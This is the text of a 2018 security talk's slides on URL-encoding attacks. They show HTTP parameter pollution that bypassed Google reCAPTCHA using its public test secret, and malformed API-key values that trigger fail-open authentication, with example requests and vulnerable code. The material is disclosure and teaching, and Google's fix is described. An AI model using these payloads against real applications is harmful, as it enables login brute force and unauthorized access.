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Injecting into URLs / Breaking URL-Encoding
ReCAPTCHA bypass and authentication bypass. Both using URL-encoding tricks.
andresriancho
August 20, 2018
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26 slides
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/me • Application security expert (web|API) • Developer (Python!) •
Open Source evangelist • w3af project leader • Independent application security consultant -
ReCAPTCHA Prevents automation by asking the user to solve tasks
which are easy for humans but hard for computers. -
User sends solution to application Clicking on the Verify button
will send this HTTP request to the application: POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response={user-response} -
Verify response with the API POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com
Content-Type: application/x-www-form-urlencoded recaptcha-response={user-response}&secret={application-secret} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 90 { "success": true, "challenge_ts": "2018-01-29T17:58:36Z", ... } Google's ReCAPTCHA API verifies the user's response: -
Verify response with the API private String sendPost(String CaptchaResponse, String
Secret) { String url = "https://www.google.com/recaptcha/api/siteverify"; url += "?response="; url += CaptchaResponse; url += "&secret="; url += Secret; URL obj = new URL(url); HttpsURLConnection con = (HttpsURLConnection) obj.openConnection(); ... Google's ReCAPTCHA API verifies the user's response: -
HTTP parameter pollution POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response=anything%26secret%3dxyz Injecting
parameters into the API request: POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response=anything&secret=xyz&secret={application-secret} -
ReCAPTCHA duplicate parameters POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response={user-response}&secret={application-secret}
&secret={another-secret-application-secret} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 ... ReCAPTCHA accepted duplicate parameter names, using the first one and discarding the second: -
ReCAPTCHA and integration tests ReCAPTCHA allows developers to configure a
specific application secret (should only be used in non-production environments) which forces ReCAPTCHA to always return "success". 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe https://developers.google.com/recaptcha/docs/faq -
Bypass ReCAPTCHA POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFu ojJ4WifJWe Injecting
parameters into the API request: POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4 WifJWe&secret={application-secret} -
Requirement: HPP There are two strong requirements for this vulnerability
to be exploitable in a web application: 1. The application needs to have an HTTP parameter pollution vulnerability in the ReCAPTCHA url creation. Github searches showed that ~60% of the integrations with ReCAPTCHA are vulnerable ProTip: Never, ever, use string concatenation or formatting for creating URLs. -
Requirement: Order There are two strong requirements for this vulnerability
to be exploitable in a web application: 2. The vulnerable web application needs to create the URL with the response parameter first, and then the secret: This allows the attacker to control the first "secret" parameter. Strangely, almost all applications do it the other way. My guess is that Google’s documentation and code examples did it like that, and others simply copied from there. Google got lucky there… if they would have done it the other way around, this vulnerability would have affected even more sites. GitHub searches showed that only 5 to 10% of the ReCAPTCHA implementations meet this requirement. response=…&secret=… -
Risks: Login brute force, spam, etc. What is usually protected
by ReCAPTCHA? • Authentication • Password reset and user registration • Comments section Those things could have been bypassed! -
Fix: No duplicate parameter names Google fixed this issue by
rejecting all HTTP requests that have more than one parameter named the same way. This fix is smart: protects all vulnerable applications without requiring them to apply any changes nor fixing their vulnerabilities. -
Bounty • Jan-29 / Vulnerability is reported to Google •
Jan-30 / Google replies: “reCAPTCHA is working exactly as designed“ • Jan-31 / I ask them to please re-read the vulnerability report • Jan-31 / Google asks for more information • Feb-1 / Google confirms vulnerability • Feb-15 / Google awards 500 USD for the vulnerability report. Money donated to charity. • Mar-25 / Patch is released -
Spot the bug! The following code was found during one
of my application security assessments. Spot the bug, tell us how to exploit it, win a beer! -
import requests class AuthenticationManager(object): API_AUTHORIZE_URL = "http://auth.service/authenticate?key=%s" def authenticate(self, api_key):
authenticated = True url = self.API_AUTHORIZE_URL % api_key try: response = requests.get(url).json() except Exception, e: # Gets here on connection error, 400, 403, 404, 500 logging.error('Exception: %s' % e) else: # response looks like {"result": true} return response['result'] return authenticated -
GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: %xy Exploitation: Breaking URL
encoding The API key is specially crafted to trigger an error in the internal authentication API. Most likely triggering 400 (Bad Request). The default-open implementation of the authenticate method will grant the attacker access. -
GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: AAA*10000 Other ways to
break URLs? GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: # GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: %3c%0a <--- bad unicode -
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